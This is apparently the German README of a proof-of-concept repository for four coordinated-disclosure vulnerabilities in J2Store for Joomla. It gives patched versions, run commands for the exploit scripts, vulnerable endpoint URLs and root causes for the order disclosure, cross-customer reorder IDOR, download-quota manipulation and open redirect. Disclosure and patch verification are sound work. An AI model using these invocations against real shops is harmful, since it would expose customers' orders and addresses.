
PoC für J2Store CVE-2026-67358–67362 (J2Commerce-Sicherheitshinweis August 2026)
Material zum Proof-of-Concept für vier Schwachstellen in com_j2store (J2Commerce J2Store), entdeckt von Murrez und behoben in:
| Branch | Gepatchte Version |
|---|---|
| J2Store 3.x |
| 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
Offizielles Advisory: J2Commerce Security Announcement (2026-08-20)
| CVE | Problem | Auth | CVSS 4.0 | Schweregrad |
|---|---|---|---|---|
| CVE-2026-67359 | Nicht authentifizierte Bestellpositionen + Summen über expressconfirm | Keine | 8.7 | Hoch |
| CVE-2026-67360 | Kundenübergreifende reOrder-IDOR (Warenkorb/Adresse des Opfers in der Sitzung des Angreifers) | Niedrig (angemeldet) | 8.7 | Hoch |
| CVE-2026-67358 | updateHitCount verbraucht das Download-Kontingent eines anderen Kunden | Niedrig (Gastbestell-Token) | 5.3 | Mittel |
| CVE-2026-67362 | Offener Redirect in Warenkorb-Tasks (setcurrency, addItem, applyCoupon, applyVoucher) | Keine | 5.1 | Mittel |
Getestete Version: J2Store Pro 4.1.5 auf Joomla 5.x (lokales Labor).
Nur für autorisierte Sicherheitsforschung und Patch-Verifizierung. Nicht gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast.
pip install -r requirements.txt
Python 3.10+
Standard-Basis-URL des Labors: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
Minimale Burp/curl-Replays: replay/
expressconfirm-BestelloffenlegungEndpunkt: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
Wenn keine aktive Checkout-Sitzung existiert, rendert jede beliebige order_id die Express-Checkout-Bestätigungsseite (Positionen, Mengen, Preise, Summen) ohne Authentifizierung.
Ursache: components/com_j2store/controllers/checkouts.php — expressconfirm() verwendet die vom Request gelieferte order_id ohne Eigentümerprüfung.
reOrder-IDOREndpunkt: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
Ein authentifizierter Benutzer kann mit der order_id eines Opfers eine Neubestellung auslösen: Die Positionen des Opfers werden in den Warenkorb des Angreifers kopiert; die Rechnungs-/Lieferadressen-IDs des Opfers werden in der Sitzung des Angreifers gespeichert.
Ursache: components/com_j2store/controllers/myprofile.php — reOrder() validiert CSRF und Anmeldung, aber nicht $order->user_id.
updateHitCount-KontingentmanipulationEndpunkt: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
Ein Gast oder Kunde kann mit einem eigenen gültigen (order_id, token)-Paar limit_count für die orderdownload_id einer anderen Bestellung erhöhen. Kein CSRF-Token erforderlich.
Ursache: components/com_j2store/controllers/myprofile.php — Token wird nur gegen die Bestellung des Aufrufers geprüft; orderdownload_id ist nicht an diese Bestellung gebunden.
Tasks: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
Base64-kodierte redirect-/return-Parameter werden dekodiert und ohne Host-Allowlist an $app->redirect() übergeben. JRoute::_() blockiert absolute externe URLs nicht.
Ursache: components/com_j2store/controllers/carts.php
Die Probleme 1, 2, 3 und 5 im Hersteller-Advisory — Murrez ([email protected]).
Koordinierte Offenlegung über J2Commerce und das Joomla Security Strike Team.
MIT — siehe LICENSE.